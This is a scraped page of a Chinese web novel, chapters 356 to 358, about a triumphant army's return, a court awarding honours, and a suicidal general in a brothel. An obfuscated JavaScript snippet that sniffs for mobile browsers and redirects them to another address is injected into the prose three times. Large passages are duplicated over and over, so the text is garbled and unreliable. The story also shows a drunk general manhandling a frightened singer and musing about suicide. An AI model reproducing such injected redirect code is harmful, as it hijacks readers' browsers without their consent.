林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155463|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 第356章 凯旋 残阳如血洒在乾国那绵延数里、气势磅礴的凯旋大军之上。 今天是他们凯旋的日子。 大军之中士兵们抬头挺胸气宇轩昂满脸抑制不住的兴奋。 前排的一名年轻士兵名叫小虎今年刚满十七。 他不时摸摸腰间那有些破旧的荷包想起家里的老母亲。 当初要参军的时候老母亲哭天抹泪地说什么也不愿意。现在自己凯旋而归也算给她老人家长了脸等封赏下来就能接母亲到京城享福怎么算都比种田耕地的几个哥哥牛逼。 此刻小虎的眼睛亮晶晶地望向京城方向脑海中尽是加官进爵、衣锦还乡的画面连手中长枪的分量都似轻了几分。 很多士兵都与他有同样的想法。 这可是凯旋而归啊哪有不兴奋的? 可与小虎相隔几个方阵的老兵赵川此刻却神色黯淡。 他身旁的空位本该是他大哥的。 哥俩为了能吃口饭当年一同参军跟着林震仙大小战役打了十几次然而这次他却没能活着回来。 在最后那场奇袭江都城的时候大哥为掩护他硬生生挡下一箭临终前还紧紧抓着他的手嘱咐他一定要活着回去 赵川粗糙的手轻轻抚过身旁的空位眼中满是哀伤与思念这场凯旋于他而言少了最重要的人分享纵有封赏又何足为乐? 战争永远是残酷的所以我们要珍惜和平。 这一路从清河县直至乾国京城的官道百姓们听闻大军得胜归来自发地涌出城来 反观在楚地的时候就不是这样的。 那里的百姓因为自己国家打了败仗所以对乾军很气恼。 但气恼也没有办法没有人敢冲击这样的胜利之师至于今后他们的命运该何去何从?他们的皇帝楚霸天就管不了了。 当然林臻也没兴趣管。 让你们干什么就干什么普通百姓岂能对朝廷律法说三道四? 况且多年前我们乾国百姓生活得还不如你们呢。 数年前的乾国是何等的积贫积弱。 彼时国库空虚连军饷都时常拖欠士兵们食不果腹、衣不蔽体冬日里身着单薄战甲在寒风中瑟瑟发抖军备更是陈旧落后刀剑钝锈弓弩无力。 朝堂之上奸佞当道顾云霆欺上瞒下卖官鬻爵之风盛行贤能之士报国无门政令不通各地灾荒 频发,百姓流离失所,饿殍遍野。 周边诸国屡屡犯边,蚕食乾国领土,抢夺资源,乾国却无力反抗,只能屈辱求和,岁岁纳贡。 而如今,一切都已改变。 在林震仙与林臻的率领下,大军背水一战,巧用奇兵,硬是从楚国手中抢走江北所有土地。 凭借此战,乾国缴获无数粮草辎重、金银财宝,充盈国库;吸纳楚地良民,开垦荒地,经济逐渐复苏;军队得以换装新甲,配备利刃强弩,战力飙升。 更重要的是,这场胜利让乾国重拾信心,一扫往昔颓势,傲然成为华夏大地上第一强国。 “大乾万岁!” “王爷万岁!” “世子万岁!” “我大乾英勇的将士们万岁!” 返程的路上,百姓的呼声此起彼伏,震得路边的树叶簌簌作响。 孩童们骑在大人肩头,挥舞着手中简陋却饱含热情的拨浪鼓;老人们满是皱纹的脸上笑开了花,眼中泪光闪烁。 京城巍峨的城门缓缓洞开,一身凤袍的慕容嫣亲率百官出城相迎,望着徐徐走进的大军,尤其是那骑在高头大马上的林臻时,眼中满是自豪。 这就是朕看上的男人。 等大军来到近前,她朱唇轻启,张开双手:“将士们辛苦了!今日朕以举国之礼,迎尔等荣归!” 十几万大军齐刷刷跪倒在地,大喊道:“参见陛下!” 慕容嫣激动的攥紧粉拳。 这他妈才是一人之上,万人之下的皇帝啊。 老娘以前过的是什么日子! 林震仙与林臻也跪在地上,万岁过后,林震仙神色有些复杂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160527|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他知道了林臻与慕容嫣的事情,那此刻是叫陛下.还是叫孙媳呢。 这个问题可把这个政治脑血栓给难坏了。 林臻说道:“陛下亲自出城相应,微臣不甚感激,再次叩谢天恩!” 慕容嫣得意地扬起嘴角,看着林臻。 心说。 终于让你小子跪下了,而且不是在床上冲刺的那种。 “众将士平身!” “谢陛下!”大军叩谢声响彻四野。 随即大军开始扎营,只挑选裨将以上军官组成队伍,簇拥着慕容嫣浩浩荡荡走向京城,马蹄声、脚步声在青石板路上奏响。 街边楼阁上,彩绸飘扬,鲜花纷扬洒落,士兵们队列整齐,虽面带征尘,却个个昂首挺胸,接受百姓的瞻仰与欢呼,这是属于他们的荣耀时刻,亦是乾国重生的见证。 入宫时已经是傍晚,慕容嫣不打算让这个喜庆劲儿过夜,立刻在金銮殿开始论功行赏的大典。 夕阳透过雕花窗棂,洒在殿内那庄重肃穆的盘龙金柱之上,熠熠生辉。 林震仙与林臻位居前列,身后是一众战功赫赫的将士,甲胄未解,血渍犹存,却散发着令人敬畏的英气。 这次战役出征的三位大将军包括所有军官,全部官升一级。 而且还将郑三山敕封为定远侯,何明远封平虏侯,周泽封镇东侯。 除此以外慕容嫣还特赏黄金千两,绸缎千匹。 林臻听着撇撇嘴,也不知道这么多黄金慕容嫣去哪弄。 至于毛梦极,因为他岁数小,战功也不及三位大将,所以被敕封为清河县男,另赏府邸一座。 这时慕容嫣的目光扫过全场,问道:“嗯?陈宵呢?朕欲封赏,他为何不在?” 林震仙汇报道:“回陛下,陈宵提前回京城了,估计这会儿.勾栏听曲呢吧?” “胡闹!这个时候不来听封居然勾栏听曲!来人,立刻去找陈宵回来!” “遵旨!” 慕容无舌立刻去传旨。 第357章 今日无事,勾栏听曲 将军的封赏结束,就开始其余人了。 滔滔不绝的封赏念了将近一个时辰。 这时候,慕容嫣神色一肃,取出一卷新拟律法,声冷如霜:“今朕欲颁新律,前朝国公仅许世袭一代,以正朝纲,汰换冗腐!” 此语一出,殿内哗然。 诸多跟着林震仙打仗后来被敕封的国公,此刻面露惊愕、愤懑之色。 然林震仙目光如电,扫视全场,所到之处,众人噤若寒蝉。 没有人敢忤逆慕容嫣。 所以包括芦步亭在内的国公,只得暗自咬牙,咽下不满。 想着回头等封赏结束,找林臻商量商量,好歹把自家的俸禄保住啊! 未等众人平复,林震仙上前一步,抱拳奏道:“陛下,臣还有一事启奏。臣欲于三日后,为犬子林臻重新举行婚礼,迎娶秦国上官墨轩之女上官婉儿。此联姻,于我乾国与秦国邦交,大有裨益,望陛下恩准。” 慕容嫣微微一怔。 虽说早知道有这一天,但心里还是有些不开心。 可想想自己的身份与处境,慕容嫣淡笑着点了点头:“王爷此举深谋远虑,准!” 殿内群臣即刻反应过来,纷纷出言祝贺:“恭喜王爷,恭喜世子!” 林臻俊脸微红,抱拳回礼。 华灯初上,京城仿若披上了一层华丽的面纱,将白日的庄严肃穆隐匿,显露出纸醉金迷的一面。 而这京城第二大的销金窟——燕来楼,此刻正像一颗散发着靡靡之光的夜明珠,吸引着各方来客。 燕来楼内,雕梁画栋。 高悬的灯笼散发着暧昧的柔光,映照着满堂的金碧辉煌。从西域远道而来的精美地毯,柔软厚实,踏上去悄无声息,其上绣着的奇异花卉,据说出自波斯能工巧匠之手,每一针每一线都倾注着异域风情。 厅内,乌木桌椅摆放得错落有致,桌上摆满了珍馐佳肴,酒香四溢,那酒皆是从各地搜罗而来的佳酿,或醇厚浓烈,或清冽甘甜,引得众人频频举杯。 男男女女穿梭其中,欢声笑语不绝于耳。 达官显贵们身着绫罗绸缎;文人墨客们也混迹其间,不管冷不冷,必须手摇折扇;商贾们则大腹便便,眼神精明,一边与旁人谈着生意,一边不忘对路过的美人投去欣赏的目光。 女子们更是燕来楼的一道亮丽风景,娇俏的姑娘们脚步轻盈,穿着清凉,露出白花花的大腿与鼓鼓的半个胸脯,千娇百媚,妆容精致。 在这喧闹的二楼包厢里,陈宵 正半躺着,宛如一个置身事外的看客,又似一个沉沦其中的倦客。 他身形修长,一袭玄色锦袍随意地敞开着,露出里面刚刚结痂的狰狞伤疤,带着几分不羁。头发只用一根玉簪简单束起,几缕碎发垂落在额前,为他冷峻的面容添了几分慵懒。 他半眯着眼睛,狭长的眼眸中透着一丝迷离,欣赏着眼前四位穿着清凉的青楼歌姬跳舞。 歌姬们身姿曼妙,如风中垂柳,轻盈地扭动着腰肢。 舞衣薄如蝉翼,色彩斑斓,随着舞动,里面的皮肤若隐若现,十分晃眼。 陈宵左手拿着酒壶,右手时不时抓起一颗花生米扔进嘴里,动作随性洒脱,咀嚼间,脸上露出满足的神情,十分潇洒。 副官康达站在一旁,像个初哥没来过窑子似的,身姿挺拔如松。 他眉头紧锁,望向陈宵的目光里满是焦灼。 “将军,咱们就这样不回去见陛下,能行吗?”康达压低声音说道,声音中带着几分急切,“今天陛下可是要论功行赏的。多少人眼巴巴地盼着这一日,就盼着能在陛下面前崭露头角,博得个锦绣前程。您倒好,这节骨眼儿上,跑来这燕来楼” 陈宵仿若未闻,依旧沉浸在自己的世界里,又往嘴里扔了颗花生米,嚼了几下,才慢悠悠地开口:“我又没让你跟着我,你自个儿回去吧。” 他的声音低沉而沙哑,带着几分醉意,又透着不容置疑的决断。 “不行啊,将军!”康达上前一步,双手握拳,语气愈发坚定,“您本来就行事随性,而且今日不同往日,关乎前程,关乎身家性命啊。” 陈宵轻笑一声,笑声中满是自嘲与悲凉:“前程?身家性命?我这条命,本就不该留到现在。这次又没死成,估计下次也没机会了,如果陛下开恩杀我,我求之不得。”、 说着,他举起酒壶,对着壶嘴猛灌了一口,酒水顺着嘴角流下,浸湿了领口。 康达见状,心中一痛,抢上前去,欲夺下陈宵手中的酒壶:“将军,您这是何苦呢?人生在世,及时行乐才是。您瞧,这燕来楼多热闹,美酒佳人应有尽有。咱们多捞点钱,来逛窑子,逍遥快活,不比什么都强?” 陈宵猛地甩开康达的手,眼神中闪过一丝怒火:“你懂什么?”他顿了顿,像是被抽走了所有力气,缓缓坐下,眼神空洞地望着前方,“对我来说活着就是痛苦,有啥意思?” 一瞬间,童年的记忆如潮水般袭来,将他彻底淹没。 好赌的爹,胡搞的妈,翻白眼的亲戚,万般嫌弃 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160528|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 的邻居。 我前世到底做错了什么?非要托生在这样的家庭,这样肮脏的世界里! 我他妈就不该活着。 陈宵再次举起酒壶,仰头灌了一大口,辛辣的酒水呛得他咳嗽几声。 康达说道:“将军,您要是这么想死为什么不自杀啊?” “废话,你在大街上看到个漂亮姑娘还想上去强奸他呢?你能这么做吗?你只能想想,因为有道德和律法的约束。” 说到这,陈宵冷笑一声道:“呵,这就像我很想死,但不代表我立刻就要去自杀一样。我要对得起王爷的知遇之恩。如果能轰轰烈烈地战死,那是我对王爷最好的回报,但如果是自杀,那就属于对不起王爷。” 言罢他猛地起身,身形有些摇晃,踉跄着走向正在跳舞的歌姬。 歌姬们吓得花容失色,舞步慌乱,想要避让却又不敢贸然停下。 陈宵伸出手,一把将其中一个歌姬拉进怀里。 那歌姬惊恐地瞪大双眼,眼眶中蓄满了泪水,双手用力推搡着:“奴家是清倌,卖艺不卖身,将军饶命啊!” 她的声音颤抖,带着哭腔,仿若一只受惊的小鹿。 陈宵却仿若未闻,他紧紧箍着歌姬,满是酒气的嘴里喃喃问道:“你为什么要把我带到这个世界上?你知不知道我有多恨你?” 他的眼神空洞而迷茫,像是在问眼前的歌姬,又像是在质问命运。 歌姬吓得瑟瑟发抖,不敢言语,只能拼命挣扎。 第358章 伪装成土匪 歌姬吓得花容失色,本就娇柔的面容此刻惨白如纸,眼眸中满是惊恐与惶惑。 慌乱间,她身子一颤,裙外的纱衣悄然滑落,露出一段欺霜赛雪的藕臂与香肩,胸前那一痕雪脯连连颤抖,如受惊的小鹿。 “将军.您认错人了,我没有.” 陈宵仿若未闻,那原本锐利的目光此刻却被满眼的悲悯所笼罩,似要将她看穿,可眸中的哀伤又仿佛在诉说着自己童年的不幸。 僵持片刻,他猛地一把将歌姬甩在地上,力道之大,让那歌姬的身子在光滑的地面上滑出数米的距离,裙摆凌乱,裙底走光。歌姬却顾不得身体,忙爬起来后背紧紧抵住雕花屏风,娇躯瑟瑟发抖,泪水在眼眶中打转,却不敢落下。 其余歌姬见状,“扑通”一声纷纷跪地,低垂着头,身子抖如筛糠,大气都不敢出。 一时间,屋内静谧得只剩烛火的噼啪声。 陈宵环视一圈,冷哼一声,双手解下外袍,随着衣袂飘落,他满是战争疤痕的上半身坦露人前。 那些疤痕,或深或浅,纵横交错,看起来十分骇人。 他随手拿起桌上的酒壶,仰头灌下一大口,酒水顺着嘴角淌下,流过脖颈,浸湿衣衫,可眼底的悲凉却怎么也藏不住。 康达见状,内心实在难受,却又不知道该怎么去劝慰。 就在此时,一阵敲门声打破僵局。 陈宵剑眉一挑,给身旁的康达使了个眼色。 康达会意,几步上前伸手拉开包厢门。 只见门口,林臻一袭青衫,衣袂飘飘,面上带着似笑非笑的神情,手中稳稳提着两个精致的酒壶。 “陈兄,许久不见。”林臻笑语晏晏,迈着悠闲的步子踏入包厢。 陈宵忙抱拳行礼,朗声道:“末将参见世子。” “陈兄不必多礼,这里没有外人,我们还是以兄弟相称更好。” “末将不敢。” 敢不敢的林臻也不在乎,将酒壶放在餐桌上,拍了拍陈宵的肩膀:“今日我可是带了好东西来,这是我自己酿的好酒,原料、工艺皆极为考究,一般人我可舍不得给他喝。” 陈宵听闻只是微微挑了挑眉,神色并未有太多变化,显然并未将这话太过放在心上。 林臻见此也不恼,笑着打开酒壶封泥,刹那间,一股浓郁醇厚的酒香弥漫开来,瞬间充盈了整个包厢。 陈宵本有些漫不经心的神情瞬间一变,瞪大了眼睛,鼻翼微微颤动,显然是被这酒香勾起了馋虫。 林臻瞧在眼里,笑着对已经吓破胆的歌姬们挥挥手:“还不快快过来斟酒。” “是!” 歌姬们连忙过来,跪在林臻与陈宵身边,颤颤巍巍地将酒慢慢倒入杯中,酒液在杯中荡漾,色泽温润,仿若琥珀。 陈宵也不客气,一把端起酒杯,仰头一饮而尽。 酒水刚入喉,一股火辣之感便瞬间炸开,如一条火线直贯下腹,可随之而来的,却是回味悠长的甘甜与醇厚。 他闭着眼睛,忍不住连声道:“好酒!真是好酒!” 林臻见状,也端起酒杯,轻轻抿了一小口,随后夹了几口桌上的精致小菜,放入口中慢慢咀嚼,咽下去后,他才看向陈宵,神色变得认真起来:“陈兄,今天是大军凯旋的日子,陛下在金銮殿大行封赏,你为何不去啊?” 陈宵辣的舌头有些麻,但还是一口接一口地喝。 “多谢世子提醒,末将并不看重这些。” “难道你还在为你童年的事情而感到悲观吗?” “嗯?世子是如何知道末将童年往事的?” 林臻当然知道,在原书中,林家抄家灭族之后,只有陈宵敢率领手下造反,奇袭顾北辰。 当然,顾北辰作为原书主角,光环强大得离谱,造反自然是失败的。 只是作者在陈宵死的时候,简单说了说他的身世,当时还引起林臻一阵共鸣。 林臻表情有些漫不经心,轻描淡写地说道:“我们没办法选择自己的出身。当然,我这么说你可能觉得我在讽刺你,但是并没有。你曾经糟糕的童年我能感同身受,因为在我很小的时候我的父母便去世了。” “那至少你被他们爱过。” “从没有被爱过和被爱过后又失去,这两者不都是痛苦吗?难道说你就因为命运的安排,所以抱怨世界的不公?你知不知道,世界其实很公平,你的经历让你遇到了王爷,成就一代名将,让你成为整个华夏大陆无人不知无人不晓的战神,这就是你的命。但如果你有个幸福的童年,今天的你很可能就是战争之下的牺牲品。你会亲眼看着你的父母死在敌人的屠刀下,甚至你还会有孩子,你的孩子也会被敌人用刺刀穿起来,烤着吃掉。” “人的命啊,说不准的,所以我向来认为老天安排得最大。” 说完林臻喝了口酒。 “那老天为何不尽善尽美呢?” 